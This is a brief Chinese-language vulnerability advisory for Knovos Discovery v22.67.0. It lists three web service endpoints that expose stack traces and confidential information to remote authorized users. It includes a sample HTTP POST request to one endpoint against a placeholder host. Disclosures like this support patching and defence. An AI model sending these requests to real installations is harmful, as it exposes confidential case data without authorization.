在 Knovos Discovery v.22.67.0 中发现了一个漏洞，允许远程攻击者通过以下组件访问机密信息：
/DiscoveryReview/Service/CaseManagement.svc/GetProductSiteName、/DiscoveryReview/Service/WorkProduct.svc/BindRelatedDocumentsInformation 以及 /DiscoveryProcess/Service/Admin.svc/getReviewIdForReport。
堆栈跟踪 / 信息泄露
Knovos Discovery
版本 22.67.0 - 版本 22.67.0
/DiscoveryReview/Service/CaseManagement.svc/GetProductSiteName /DiscoveryReview/Service/WorkProduct.svc/BindRelatedDocumentsInformation /DiscoveryProcess/Service/Admin.svc/getReviewIdForReport
远程
true
true
授权用户
POST /DiscoveryReview/Service/WorkProduct.svc/BindRelatedDocumentsInformation HTTP/1.1
Host: vuln_host
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 17
Connection: close
{
"Id": id
}